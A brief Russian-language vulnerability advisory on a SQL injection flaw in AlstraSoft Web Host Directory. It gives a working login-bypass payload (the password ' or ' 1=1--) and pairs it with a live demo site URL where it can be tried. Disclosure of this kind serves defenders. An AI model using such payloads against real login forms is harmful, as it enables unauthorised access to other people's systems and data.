Программа: AlstraSoft Web Host Directory

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных. Удаленный пользователь может с помощью специально
сформированного запроса выполнить произвольные SQL команды в базе данных
приложения.

Эксплоит:

username: ZoRLu

password: ' or ' 1=1--

Демонстрация:

http://www.hyperstop.com/demo/webhost/

username: ZoRLu

password: ' or ' 1=1--

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии